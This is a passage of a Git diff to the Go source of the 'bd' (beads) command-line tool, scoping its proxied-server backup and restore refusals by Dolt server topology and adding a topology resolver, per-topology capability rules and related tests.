// One success report for both topologies. Under --json this used to + // print nothing at all, which left a caller unable to tell a completed + // restore from a silently skipped one. + if jsonOutput { + return outputJSON(map[string]interface{}{ + "restored": true, + "source": dir, + }) } - + fmt.Printf("%s Restore complete\n", ui.RenderPass("✓")) return nil }, } diff --git a/cmd/bd/backup_status_test.go b/cmd/bd/backup_status_test.go index 0d6159b61..d06d0db78 100644 --- a/cmd/bd/backup_status_test.go +++ b/cmd/bd/backup_status_test.go @@ -10,6 +10,7 @@ import ( "testing" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" ) func TestBackupStatusSizeErrorRespectsOutputMode(t *testing.T) { @@ -159,25 +160,62 @@ func TestBackupStatusIncludesAvailableDatabaseSize(t *testing.T) { }) } -func TestBackupStatusProxiedGuardDoesNotMeasureSize(t *testing.T) { - prepareBackupStatusTest(t) - proxiedServerMode = true - called := false - sizeDatabase := func(context.Context) (int64, bool, error) { - called = true - return 1, true, nil - } +// TestBackupStatusProxiedGuardFollowsLocality replaces a test that asserted a +// blanket proxied refusal. Since slice S3 the guard is scoped to locality: bd +// owns the dolt process on a managed-local workspace and can honor the command +// there, while an external one is still refused — and a refused command must +// not go on to measure anything, because the directory it would measure belongs +// to a server on another host. +func TestBackupStatusProxiedGuardFollowsLocality(t *testing.T) { + for _, tc := range []struct { + name string + sidecar string + wantMeasure bool + }{ + { + name: "external topology is refused without measuring", + sidecar: `{"external":{"host":"db.example.com","port":3306}}`, + wantMeasure: false, + }, + { + name: "managed local is honored and measures", + sidecar: `{}`, + wantMeasure: true, + }, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := prepareBackupStatusTest(t) + proxiedServerMode = true + if err := os.WriteFile(configfile.ProxiedServerClientInfoPath(beadsDir), []byte(tc.sidecar), 0o600); err != nil { + t.Fatalf("write proxied sidecar: %v", err) + } - cmd := newBackupStatusTestRoot(sizeDatabase) - cmd.SetArgs([]string{"backup", "status"}) - _, _, err := executeBackupStatusCommand(t, cmd) - assertExitCode(t, err, 1) - if called { - t.Fatal("proxied-server guard called database size provider") + measured := false + sizeDatabase := func(context.Context) (int64, bool, error) { + measured = true + return 1, true, nil + } + + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status"}) + _, _, err := executeBackupStatusCommand(t, cmd) + if tc.wantMeasure { + if err != nil { + t.Fatalf("backup status on managed-local: %v", err) + } + } else { + assertExitCode(t, err, 1) + } + if measured != tc.wantMeasure { + t.Fatalf("size provider called = %v, want %v", measured, tc.wantMeasure) + } + }) } } -func prepareBackupStatusTest(t *testing.T) { +// prepareBackupStatusTest builds a throwaway workspace and returns its .beads +// directory, so a caller can drop workspace files (the proxied sidecar) into it. +func prepareBackupStatusTest(t *testing.T) string { t.Helper() beadsDir := filepath.Join(t.TempDir(), ".beads") @@ -198,6 +236,7 @@ func prepareBackupStatusTest(t *testing.T) { proxiedServerMode = oldProxiedServerMode resetCommandContext() }) + return beadsDir } func newBackupStatusTestRoot(sizeDatabase backupSizeFunc) *cobra.Command { diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index 276650bbe..5ee3b2aa5 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -72,8 +72,9 @@ const ( // Tracking values name the plan-of-record work item for an unimplemented // refusal. These are the slices of the proxied-parity plan; a row gets a GitHub // issue or bead ID instead once one is filed for it. +// S3 has no entry: it landed, and its rows carry Reason=design rather than a +// tracking item. const ( - trackBackup = "proxied-parity S3 (backup/restore family)" trackVersionCtl = "proxied-parity S4 (dolt commit/push/pull/remote)" trackSync = "proxied-parity S5 (bd sync)" trackDegradation = "proxied-parity S6 (doctor, config show, degradations)" @@ -85,12 +86,40 @@ const ( // empty for the bare path; a row keyed on an ArgSet wins over the bare row, which // is how `duplicates --auto-merge --dry-run` stays honored while // `duplicates --auto-merge` is refused. +// +// Topology overrides Rule on the proxied shapes named in it and is empty for +// every row whose answer is the same everywhere — which is all of them but the +// backup family. See honoredOn. type capabilityRow struct { - Path string - ArgSet string - Rule proxyCapabilityRule - History HistoryCapabilityClass - Note string + Path string + ArgSet string + Rule proxyCapabilityRule + Topology map[ProxyTopology]proxyCapabilityRule + History HistoryCapabilityClass + Note string +} + +// ruleFor resolves the row's policy on one proxied topology. +func (r capabilityRow) ruleFor(topology ProxyTopology) proxyCapabilityRule { + if rule, ok := r.Topology[topology]; ok { + return rule + } + return r.Rule +} + +// honoredOn narrows a refusal to the shapes where it is actually true: the row +// goes on refusing everywhere except the topologies named here. +// +// The direction is deliberate. A row states its refusal first and then lists +// the exceptions, so a shape nobody thought about — a new transport, or the +// unknown a corrupt sidecar produces — inherits the refusal rather than the +// exemption. +func (r capabilityRow) honoredOn(topologies ...ProxyTopology) capabilityRow { + r.Topology = make(map[ProxyTopology]proxyCapabilityRule, len(topologies)) + for _, topology := range topologies { + r.Topology[topology] = proxyCapabilityRule{Outcome: ProxyOutcomeHonored} + } + return r } // display renders the row's key the way its refusal message names it. @@ -166,6 +195,50 @@ func permitted(path string) capabilityRow { return capabilityRow{Path: path, Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}} } +// backupRefusal builds one backup-family row: honored where bd owns the Dolt +// server, refused by design everywhere else. The code stays +// proxy.backup.unsupported — consumers have been keying on it since 1.3.0 and +// the refusal it names has not changed, only its reason and its scope — and the +// message keeps the frozen " is not supported in proxied-server mode" +// prefix, with the reason appended. +// +// The message leads with SERVER-GLOBAL STATE rather than with the filesystem, +// because only the filesystem half is scheme-specific. `bd backup init` accepts +// https/aws/gs as well as file:// (resolveDoltBackupURL) and the help text +// recommends DoltHub; for those a server-side push over the network with the +// server's own credentials is a coherent thing to ask for, and "the destination +// is on the server's disk" says nothing about it. What is true of every scheme +// is that `CALL DOLT_BACKUP('add', …)` registers the remote ON THE SERVER, +// where it is global to every client of that server — one workspace's backup +// decision silently becomes everyone's, which is the shape of the auto-backup +// storm this command's own help text warns about. +// +// backupRemoteSchemeTracking is why these rows carry a Tracking item despite +// being Reason=design: the outcome is settled, the remote-scheme CASE is not. +func backupRefusal(path string) capabilityRow { + return refusedPath(path, "proxy.backup.unsupported", ProxyReasonDesign, backupRemoteSchemeTracking). + withMessage(path + " is not supported in proxied-server mode against a Dolt server bd does not own: " + + "the backup remote is registered on the server, where it is global to every client, " + + "and a file:// destination names a filesystem this client cannot see"). + honoredOn(ProxyTopologyManagedLocal) +} + +// backupRemoteSchemeTracking records the one part of the backup refusal that is +// a question rather than a verdict, so refusing the family off-host does not +// silently foreclose it. A remote-scheme destination (DoltHub, aws://, gs://) +// needs no filesystem bd can see — the server pushes it over the network from +// its own environment, which is exactly the credential story S4 has to settle +// for `dolt push` on these same topologies. Whether a per-client backup remote +// on a shared server is ever acceptable is the open part; the plumbing is not. +// +// Note also that the DoltHub story is already half-built in DIRECT mode: +// `bd backup init https://…` and `bd backup sync` work, but +// `bd backup restore https://…` does not, because validateBackupRestoreDir +// os.Stats its argument and rejects anything that is not an existing directory +// on every topology. Pre-existing, not something this slice changed. +const backupRemoteSchemeTracking = "open question, not a verdict: remote-scheme (DoltHub/aws/gs) backup on a server " + + "bd does not own — revisit with S4, which settles the same server-env credential question for dolt push" + // proxyCapabilityRegistry is the whole path-keyed policy. Rows for permitted // paths are appended from proxyPermittedPaths by init. var proxyCapabilityRegistry = []capabilityRow{ @@ -176,16 +249,37 @@ var proxyCapabilityRegistry = []capabilityRow{ // --- backup / restore --------------------------------------------------- // CALL DOLT_BACKUP(...) is pure SQL over a connection proxied mode already - // owns, so this family is plumbing, not policy. Locality policy (file:// - // URLs naming the server's filesystem on external topologies) is decided - // per topology when S3 lands. - refusedPath("backup", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup). - asParentGroup(), - refusedPath("backup init", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup sync", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup remove", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup status", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup restore", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + // owns, so routing this family needed no proxy work at all — see + // backup_proxied_server.go. + // + // What it did need is the ownership policy, which is the first genuinely + // topology-differentiated rule in this table. A backup remote belongs to the + // SERVER, not to the client that asked for it: `CALL DOLT_BACKUP('add', …)` + // registers it in the server's own configuration, where it is global to + // every client connected to that server. On managed-local "every client" is + // this workspace, because bd spawned the child itself. Anywhere else one + // operator's backup decision silently becomes everyone's — the same shape as + // the auto-backup storm this command's help text already warns about, and + // the reason team-server is the sharpest case: bts owns the store. + // + // A file:// destination adds a second, scheme-specific problem on top: it + // names a path on the machine running dolt, so off-host the command either + // fails at the point of use or, far worse, reports success having written + // the backup somewhere the operator will never look for it. + // + // Hence: honored on managed-local, refused by design everywhere else. The + // OUTCOME is design — server-global state is not something plumbing on this + // side can make per-client, and a backup story for those shapes belongs to + // whoever runs the server. The remote-scheme case (DoltHub, aws://, gs://, + // which resolveDoltBackupURL accepts and backup.go recommends) is the part + // that is a question rather than a verdict, and it is not silently + // foreclosed: see backupRemoteSchemeTracking, which every row below carries. + backupRefusal("backup").asParentGroup(), + backupRefusal("backup init"), + backupRefusal("backup sync"), + backupRefusal("backup remove"), + backupRefusal("backup status"), + backupRefusal("backup restore"), // --- version control over a shared history ------------------------------ // Refused by design: these mutate or traverse a history that several @@ -515,7 +609,11 @@ func commandPolicyArgSet(cmd *cobra.Command) string { // front door: it rejects direct-only commands before migrations, auto-start or // provider construction, so a refusal leaves the workspace untouched. The // flag-keyed half is validateProxyCapabilitiesBeforeProvider. -func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { +// +// topology is the workspace's proxied shape (resolveProxiedTopology). It is a +// parameter rather than a lookup inside so the gate can be exercised for every +// shape without a workspace on disk. +func validateProxyRegistryBeforeProvider(cmd *cobra.Command, topology ProxyTopology) error { if cmd == nil { return nil } @@ -532,10 +630,14 @@ func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { } } row, ok := capabilityRowFor(cmd) - if !ok || row.Rule.Outcome != ProxyOutcomeRefused { + if !ok { return nil } - return HandleProxyCapabilityError(proxyCapabilityErrorFor(row.Rule)) + rule := row.ruleFor(topology) + if rule.Outcome != ProxyOutcomeRefused { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) } func proxyCapabilityErrorFor(rule proxyCapabilityRule) *ProxyCapabilityError { diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index c0319a73b..87d1fd44d 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -31,7 +31,7 @@ func TestSyncRefusesBeforeProvider(t *testing.T) { root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: "sync"} root.AddCommand(cmd) - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatalf("sync refusal = %#v", err) } @@ -71,7 +71,7 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { } uowProvider = nil jsonOutput = true - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) var got map[string]any want := expected[path] if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != want.code || got["error"] != want.message || got["mutates"] != false { @@ -104,7 +104,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if path == "dolt remote remove" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) @@ -120,7 +120,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { var got map[string]any // validateProxyRegistryBeforeProvider renders the typed refusal to // stdout in JSON mode; the command must retain its nested path. - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) if err := json.Unmarshal([]byte(out), &got); err != nil { t.Fatalf("%s refusal JSON: %v (%q)", path, err, out) } @@ -132,7 +132,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { root := &cobra.Command{Use: "bd"} history := &cobra.Command{Use: "history"} root.AddCommand(history) - if err := validateProxyRegistryBeforeProvider(history); err != nil { + if err := validateProxyRegistryBeforeProvider(history, ProxyTopologyManagedLocal); err != nil { t.Fatalf("history --events supported path refused: %v", err) } } diff --git a/cmd/bd/capability_registry_test.go b/cmd/bd/capability_registry_test.go index f6f7f47c1..6725729fb 100644 --- a/cmd/bd/capability_registry_test.go +++ b/cmd/bd/capability_registry_test.go @@ -109,38 +109,12 @@ func TestProxyCapabilityRegistryHasNoDuplicateRows(t *testing.T) { // refusal with no tracking item is a gap nobody owns. func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { for _, row := range proxyCapabilityRegistry { - switch row.Rule.Outcome { - case ProxyOutcomeRefused: - if row.Rule.Code == "" || row.Rule.Message == "" || row.Rule.ExitCode != 1 { - t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", row.display(), row.Rule) - } - if row.Rule.Mutates { - t.Errorf("%s: a refusal never mutates", row.display()) - } - if !strings.HasPrefix(row.Rule.Code, "proxy.") { - t.Errorf("%s: code %q must be in the stable proxy.* namespace", row.display(), row.Rule.Code) - } - case ProxyOutcomeRefusedInRunE: - if row.Rule.Code != "" { - t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", row.display()) - } - case ProxyOutcomeHonored: - if row.Rule.Reason != "" { - t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", row.display()) - } - default: - t.Errorf("%s: unexpected outcome %q", row.display(), row.Rule.Outcome) - } - - refusal := row.Rule.Outcome == ProxyOutcomeRefused || row.Rule.Outcome == ProxyOutcomeRefusedInRunE - if refusal { - switch row.Rule.Reason { - case ProxyReasonDesign, ProxyReasonUnimplemented: - default: - t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", row.display(), row.Rule.Reason) - } - if row.Rule.Reason == ProxyReasonUnimplemented && row.Rule.Tracking == "" { - t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", row.display()) + assertCapabilityRuleInvariants(t, row.display(), row.Rule) + for topology, rule := range row.Topology { + assertCapabilityRuleInvariants(t, row.display()+" on "+string(topology), rule) + if topology == ProxyTopologyUnknown { + t.Errorf("%s: a row must not name the unknown topology; unknown exists so an unclassifiable "+ + "workspace INHERITS the refusal, and exempting it would invert that", row.display()) } } if row.History == HistoryDirectOnly && row.Rule.Outcome != ProxyOutcomeRefused { @@ -152,6 +126,46 @@ func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { } } +// assertCapabilityRuleInvariants checks one rule — a row's default or one of +// its per-topology overrides. Both have to satisfy the same contract: a +// topology override is policy a consumer sees, not a footnote. +func assertCapabilityRuleInvariants(t *testing.T, where string, rule proxyCapabilityRule) { + t.Helper() + switch rule.Outcome { + case ProxyOutcomeRefused: + if rule.Code == "" || rule.Message == "" || rule.ExitCode != 1 { + t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", where, rule) + } + if rule.Mutates { + t.Errorf("%s: a refusal never mutates", where) + } + if !strings.HasPrefix(rule.Code, "proxy.") { + t.Errorf("%s: code %q must be in the stable proxy.* namespace", where, rule.Code) + } + case ProxyOutcomeRefusedInRunE: + if rule.Code != "" { + t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", where) + } + case ProxyOutcomeHonored: + if rule.Reason != "" { + t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", where) + } + default: + t.Errorf("%s: unexpected outcome %q", where, rule.Outcome) + } + + if rule.Outcome == ProxyOutcomeRefused || rule.Outcome == ProxyOutcomeRefusedInRunE { + switch rule.Reason { + case ProxyReasonDesign, ProxyReasonUnimplemented: + default: + t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", where, rule.Reason) + } + if rule.Reason == ProxyReasonUnimplemented && rule.Tracking == "" { + t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", where) + } + } +} + // inlineProxiedRefusal matches the untyped refusals commands raise from their // own RunE, e.g. HandleErrorRespectJSON("gitlab sync is not supported in // proxied-server mode"). @@ -271,6 +285,16 @@ func TestProxyCapabilityRegistryReasonsAreAssignedIndividually(t *testing.T) { "migrate": true, "migrate sync": true, "migrate issues": true, "migrate-issues": true, "migrate-personal": true, "admin cleanup": true, "admin reset": true, + // The backup family's DEFAULT rule is the design refusal; managed-local + // overrides it to honored (TestProxiedBackupHonoredOnlyOnManagedLocal). + // It is design because a backup remote is registered on the SERVER, + // where it is global to every client of that server — true of every + // destination scheme, unlike the filesystem half, which is a file:// + // property only. These rows carry a Tracking item anyway + // (backupRemoteSchemeTracking): the outcome is settled, the + // remote-scheme case is an open question and must not read as closed. + "backup": true, "backup init": true, "backup sync": true, + "backup remove": true, "backup status": true, "backup restore": true, } gotDesign := map[string]bool{} @@ -364,7 +388,7 @@ func TestProxyRefusalJSONCarriesReason(t *testing.T) { cmd := &cobra.Command{Use: tc.path} root.AddCommand(cmd) out := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) return nil }) for _, want := range []string{ diff --git a/cmd/bd/capability_registry_transform_test.go b/cmd/bd/capability_registry_transform_test.go index 86ed302b4..7862323a2 100644 --- a/cmd/bd/capability_registry_transform_test.go +++ b/cmd/bd/capability_registry_transform_test.go @@ -76,7 +76,7 @@ func TestProxyTransformCapabilityRows(t *testing.T) { t.Fatalf("typed refusal = %#v", typed) } } - if err := validateProxyRegistryBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); tc.outcome == ProxyOutcomeHonored && err != nil { t.Fatalf("honored transform refused: %v", err) } }) @@ -86,11 +86,11 @@ func TestProxyTransformCapabilityRows(t *testing.T) { func TestProxyDuplicatesAutoMergeDryRunMatrix(t *testing.T) { cmd := transformTestCommand("duplicates", "auto-merge", "dry-run") _ = cmd.Flags().Set("auto-merge", "true") - if err := validateProxyRegistryBeforeProvider(cmd); err == nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); err == nil { t.Fatalf("non-dry auto-merge error = %v", err) } _ = cmd.Flags().Set("dry-run", "true") - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); err != nil { t.Fatalf("dry-run auto-merge refused: %v", err) } } @@ -104,7 +104,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = false var textErr string stderr := captureStderr(t, func() { - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if code, ok := exitCodeFromError(err); !ok || code != 1 { t.Fatalf("exit = %v, want 1", err) } @@ -116,7 +116,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = true stdout := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) return nil }) var envelope map[string]any @@ -164,7 +164,7 @@ func TestProxyTransformRefusalHasNoProviderOrFileMutation(t *testing.T) { t.Cleanup(func() { uowProvider = oldProvider }) cmd := transformTestCommand("supersede") - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatal("expected transform refusal") } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index eadf17e25..677b09878 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1273,18 +1273,18 @@ var rootCmd = &cobra.Command{ fmt.Fprintf(os.Stderr, "warning: %v\n", err) } } + if beadsDir == "" { + beadsDir = beads.FindBeadsDir() + } if cmdName == "doctor" && usesProxiedServer() { // Refuse only on a real refusal. The registry validator // returns nil for doctor subcommands, and returning early on // that would skip the legacy-store guard and autocommit-mode // resolution every other skipsStoreInit command still runs. - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, resolveProxiedTopology(beadsDir)); err != nil { return err } } - if beadsDir == "" { - beadsDir = beads.FindBeadsDir() - } if err := guardLegacyNoStoreCommand(cmd, beadsDir); err != nil { isMigrationCommand := false for current := cmd; current != nil; current = current.Parent() { @@ -1491,7 +1491,7 @@ var rootCmd = &cobra.Command{ if err := validateProxyCapabilitiesBeforeProvider(cmd); err != nil { return err } - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, resolveProxiedTopology(beadsDir)); err != nil { return err } } diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 774323944..73869cdc7 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -25,10 +25,11 @@ const ( ProxyModeProxied ProxyMode = "proxied-server" ) -// ProxyTopology distinguishes the provider deployment shape. Capability -// policy is currently identical across proxied shapes, but retaining this -// dimension prevents an external TCP server from being conflated with a local -// managed one as more surfaces are added. +// ProxyTopology distinguishes the provider deployment shape. The backup family +// is the first policy that genuinely differs across these: a Dolt backup +// destination is resolved on the machine running dolt, so "the server bd +// spawned itself" and "a server somebody else runs" are different answers to +// the same command (see capability_registry.go's backup rows). type ProxyTopology string const ( @@ -36,6 +37,17 @@ const ( ProxyTopologyManagedLocal ProxyTopology = "managed-local" ProxyTopologyExternalTCP ProxyTopology = "external-tcp" ProxyTopologyExternalUnix ProxyTopology = "external-unix" + // ProxyTopologyTeamServer is a workspace whose database is owned by + // beads-team-server. It is a shape rather than a transport: bts owns the + // store's schema and identity whether bd reaches it over a port, a socket, + // or a child bd started, so the ownership fact decides capability policy and + // the transport does not. + ProxyTopologyTeamServer ProxyTopology = "team-server" + // ProxyTopologyUnknown is what a workspace bd cannot classify reports. It is + // never honored by a topology-keyed row, which is the fail-closed half of + // the policy: a workspace that cannot prove it owns its Dolt server does not + // get the privileges of one that can. + ProxyTopologyUnknown ProxyTopology = "unknown" ) // ProxyCapabilityOutcome describes what the front door does with a feature. diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 272d0a453..40f66783e 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -69,6 +69,11 @@ func TestProxyCapabilityCommandRows(t *testing.T) { } } +// TestProxyMaintenanceNestedPathsRefuseBeforeProvider proves the gate resolves +// a PARENT+CHILD path, which is where a nested command used to slip through. +// It runs on external-tcp because that is the topology on which every path +// listed here still refuses: the backup family is honored on managed-local +// since slice S3, and asserting a refusal there would be asserting the bug. func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = true @@ -81,7 +86,7 @@ func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { root.AddCommand(parent) parent.AddCommand(child) out := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(child) + _ = validateProxyRegistryBeforeProvider(child, ProxyTopologyExternalTCP) return nil }) if !strings.Contains(out, `"code":`) { @@ -101,7 +106,7 @@ func TestProxyFormulaSwarmMergeSlotRefusals(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatalf("%s unexpectedly allowed", path) } @@ -162,7 +167,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { oldDidWrite := commandDidWrite.Load() commandDidWrite.Store(false) t.Cleanup(func() { commandDidWrite.Store(oldDidWrite) }) - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) var got map[string]any if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != tc.code || got["error"] != tc.message { t.Fatalf("JSON refusal = %q (%v)", out, err) @@ -199,7 +204,7 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { oldProvider := uowProvider uowProvider = nil t.Cleanup(func() { uowProvider = oldProvider }) - err := validateProxyRegistryBeforeProvider(hooks) + err := validateProxyRegistryBeforeProvider(hooks, ProxyTopologyManagedLocal) if err == nil { t.Fatal("expected typed maintenance refusal") } diff --git a/cmd/bd/proxy_topology.go b/cmd/bd/proxy_topology.go new file mode 100644 index 000000000..c8f8568ff --- /dev/null +++ b/cmd/bd/proxy_topology.go @@ -0,0 +1,54 @@ +package main + +import ( + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/configfile" +) + +// resolveProxiedTopology reports which proxied-server SHAPE a workspace is, for +// the capability rows whose answer depends on it. +// +// The shapes are ordered by how much of the store bd owns, and the first one +// that matches wins: +// +// team-server the database belongs to beads-team-server, which owns its +// schema and identity. Ownership beats transport — a +// bts-managed database is somebody else's store even when the +// dolt process happens to be local. +// external-* an operator's Dolt server that bd only connects to. The +// sidecar's External block is what records it, and the socket +// field is what separates the two transports. +// managed-local no External block: bd spawned this dolt sql-server itself, +// under this user, on this filesystem. +// +// A workspace bd cannot read is reported as unknown rather than guessed at. +// Every topology-keyed row treats unknown as refused, so a corrupt sidecar +// costs a capability instead of buying one; the provider open that follows +// fails on the same file with a much better message than this function could +// produce, so this is a policy decision, not the error path. +func resolveProxiedTopology(beadsDir string) ProxyTopology { + if beadsDir == "" { + beadsDir = beads.FindBeadsDir() + } + if beadsDir == "" { + return ProxyTopologyUnknown + } + cfg, err := configfile.Load(beadsDir) + if err != nil { + return ProxyTopologyUnknown + } + if cfg != nil && cfg.IsTeamServerManaged() { + return ProxyTopologyTeamServer + } + info, err := configfile.LoadProxiedServerClientInfo(beadsDir) + if err != nil { + return ProxyTopologyUnknown + } + if info == nil || info.External == nil { + return ProxyTopologyManagedLocal + } + if info.External.Socket != "" { + return ProxyTopologyExternalUnix + } + return ProxyTopologyExternalTCP +} diff --git a/cmd/bd/uow_factory.go b/cmd/bd/uow_factory.go index a6bdac741..40a9ce3b2 100644 --- a/cmd/bd/uow_factory.go +++ b/cmd/bd/uow_factory.go @@ -171,11 +171,24 @@ func newProxiedServerUOWProvider(ctx context.Context, beadsDir, databaseOverride return openProxiedServerUOWProvider(ctx, beadsDir, databaseOverride, assertWorkspaceIdentity, opts...) } -// newProxiedServerUOWProviderAdopting skips that assertion. Only two callers -// legitimately have no workspace identity to assert: `bd init --team-server`, -// which ADOPTS the identity the shared database already carries (asserting the -// locally-minted placeholder would reject every correct init), and server-wide -// database maintenance, which is not scoped to one project's database. +// newProxiedServerUOWProviderAdopting skips that assertion. Three callers +// legitimately have no workspace identity to assert: +// +// - `bd init --team-server`, which ADOPTS the identity the shared database +// already carries (asserting the locally-minted placeholder would reject +// every correct init); +// - server-wide database maintenance, which is not scoped to one project's +// database; +// - withQuiescedProxiedProvider (backup_proxied_server.go), the post-restore +// reopen. A restore is precisely the operation after which the workspace's +// recorded project id and the database's may legitimately differ, and it is +// the connection whose job is to reconcile them — asserting the pre-restore +// identity would refuse the one open that can fix the mismatch. The full +// reasoning is at that function's doc comment. +// +// Anything else reaching this constructor is bypassing an identity assertion +// that exists to stop a workspace writing into another project's database. Add +// a fourth entry here, with its reason, or use newProxiedServerUOWProvider. func newProxiedServerUOWProviderAdopting(ctx context.Context, beadsDir, databaseOverride string, opts ...uow.ProviderOption) (uow.UnitOfWorkProvider, error) { return openProxiedServerUOWProvider(ctx, beadsDir, databaseOverride, adoptWorkspaceIdentity, opts...) } diff --git a/internal/storage/versioncontrolops/backup.go b/internal/storage/versioncontrolops/backup.go index 2206d729e..56acacf27 100644 --- a/internal/storage/versioncontrolops/backup.go +++ b/internal/storage/versioncontrolops/backup.go @@ -48,7 +48,20 @@ func BackupRestore(ctx context.Context, db DBConn, url, dbName string, force boo } // DirToFileURL resolves dir to an absolute path and returns a file:// URL. +// +// An input that already carries a scheme is rejected rather than prefixed. +// filepath.Abs would happily turn "https://doltremoteapi.dolthub.com/u/r" into +// "file:///cwd/https:/doltremoteapi.dolthub.com/u/r" — a syntactically valid +// URL naming a local directory that does not exist, which DOLT_BACKUP would +// then fail on, or worse create. No caller can reach that today (`bd backup +// restore` os.Stats its argument first, so a URL never gets here), but every +// caller is a restore path and restore-from-a-remote is an open capability +// question — see backupRemoteSchemeTracking in cmd/bd/capability_registry.go. +// Whoever closes it should get an error here, not a mangled path. func DirToFileURL(dir string) (string, error) { + if scheme, _, found := strings.Cut(dir, "://"); found { + return "", fmt.Errorf("%q is a %s URL, not a directory: this path takes a local directory to turn into a file:// URL", dir, scheme) + } abs, err := filepath.Abs(dir) if err != nil { return "", fmt.Errorf("resolve absolute path: %w", err) diff --git a/internal/storage/versioncontrolops/backup_test.go b/internal/storage/versioncontrolops/backup_test.go index a3278b982..d58df7660 100644 --- a/internal/storage/versioncontrolops/backup_test.go +++ b/internal/storage/versioncontrolops/backup_test.go @@ -2,9 +2,38 @@ package versioncontrolops import ( "fmt" + "strings" "testing" ) +// TestDirToFileURLRejectsSchemes pins the 